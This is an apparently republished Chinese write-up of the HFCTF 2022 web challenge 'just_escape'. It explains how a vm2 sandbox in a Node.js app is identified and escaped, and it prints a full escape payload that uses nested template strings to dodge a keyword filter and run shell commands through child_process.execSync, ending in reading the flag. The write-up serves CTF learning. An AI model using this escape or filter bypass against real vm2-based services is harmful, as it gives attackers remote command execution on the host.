虎符杯(HFCTF)writeup超详解-Web篇(中)

admin 2022年7月13日09:35:57CTF专场评论26 views1533字阅读5分6秒阅读模式

首届“虎符网络安全赛道”已告一段落,本次比赛Web赛题为一道php、两道NodeJS,考虑到官方公布的writeup过程过于简洁,本着分享及进步为原则,特对web赛题做一次详细解析,以供各位CTF爱好者解读涨知识;



虎符杯(HFCTF)writeup超详解-Web篇(中)

第二题:just_escape



初探题目

访问

http://e5ec4111-aa49-4a07-ad7d-e0a7908ac101.node3.buuoj.cn/


虎符杯(HFCTF)writeup超详解-Web篇(中)


1.浏览器F12,通过header中X-Powered-By,获取到后端是express注:基于Node.js平台的 Web 开发框架,说明 run.php和“真的是PHP嘛”是障眼法;


虎符杯(HFCTF)writeup超详解-Web篇(中)


2.执行:/run.php?code=Error().stack,根据报错信息发现是vm2的沙盒逃逸问题注:vm2基于vm,使用官方的vm库构建沙箱环境。然后使用JavaScript的Proxy技术来防止沙箱脚本逃逸):



虎符杯(HFCTF)writeup超详解-Web篇(中)


构造payload


通过 https://github.com/patriksimek/vm2/issues/225(该作者会实时更新vm逃逸的poc),得到vm2最新沙盒逃逸 poc:


虎符杯(HFCTF)writeup超详解-Web篇(中)


本地测试成功:


虎符杯(HFCTF)writeup超详解-Web篇(中)


利用 console.log 输出 Payload:


虎符杯(HFCTF)writeup超详解-Web篇(中)

      

   Payload为:


虎符杯(HFCTF)writeup超详解-Web篇(中)


  但在直接使用时发现存在 waf,手工输入POC的关键词发现程序过滤了:

Function, prototype, get_process,constructor, child_process,execSync, 双引号, 单引号


   如,测试 “Function” 关键词:


虎符杯(HFCTF)writeup超详解-Web篇(中)


虎符杯(HFCTF)writeup超详解-Web篇(中)

利用反引号来把文本括起来作为字符串,同时利用模板字符串嵌套拼接出我们想要的被过滤了的字符串。参考https://developer.mozilla.org/zh-CN/docs/Web/JavaScript/Reference/template_strings


   比如 prototype 被过滤了,可以写成 :

`${`${`prototyp`}e`}`


虎符杯(HFCTF)writeup超详解-Web篇(中)


将所有被过滤的关键词用上面的方式转换,同时结合数组调用来绕过过滤保证正确调用。


Payload变为:

(function (){     TypeError[`${`${`prototyp`}e`}`][`${`${`get_proces`}s`}`]=  f=>f[`${`${`constructo`}r`}`](`${`${`return this.proces`}s`}`)();    try{         Object.preventExtensions(Buffer.from(``)).a = 1;    }catch(e){        return  e[`${`${`get_proces`}s`}`](()=>{}).mainModule[`${`${`requir`}e`}`](`${`${`child_proces`}s`}`)[`${`${`exe`}cSync`}`](`whoami`).toString();    }})()


payload获取flag

  1.Payload成功执行:


虎符杯(HFCTF)writeup超详解-Web篇(中)


  2.将“whoami”改为“ls ”:


虎符杯(HFCTF)writeup超详解-Web篇(中)


  3.将“ls ”改为“cat/flag”


虎符杯(HFCTF)writeup超详解-Web篇(中)



成功获取到flag!



总结反思

本次赛题中,有两道新兴语言nodejs,预示着我们要扩宽知识面技能树;第二题的突破口通过构造nodejs异常得到VM2沙箱逃逸思路,进而对payload做编码转换绕过过滤,最终通过VM2沙箱逃逸打印出flag。



虎符杯(HFCTF)writeup超详解-Web篇(中)

虎符杯(HFCTF)writeup超详解-Web篇(中)


扫码关注


隐刃安全实验室,专注于渗透测试、源码审计、漏洞分析、
内网攻防、脚本工具开发等安全领域,致力于分享精品原
创文章、漏洞复现、工具靶场、CTF等技术干货。


原文始发于微信公众号(SK安全实验室):虎符杯(HFCTF)writeup超详解-Web篇(中)

特别标注: 本站(CN-SEC.COM)所有文章仅供技术研究,若将其信息做其他用途,由用户承担全部法律及连带责任,本站不承担任何法律及连带责任,请遵守中华人民共和国安全法.
  • 我的微信
  • 微信扫一扫
  • weinxin
  • 我的微信公众号
  • 微信扫一扫
  • weinxin
admin
  • 本文由 发表于 2022年7月13日09:35:57
  • 转载请保留本文链接(CN-SEC中文网:感谢原作者辛苦付出):
                  虎符杯(HFCTF)writeup超详解-Web篇(中) http://cn-sec.com/archives/1038973.html

发表评论

匿名网友 填写信息

:?: :razz: :sad: :evil: :!: :smile: :oops: :grin: :eek: :shock: :???: :cool: :lol: :mad: :twisted: :roll: :wink: :idea: :arrow: :neutral: :cry: :mrgreen: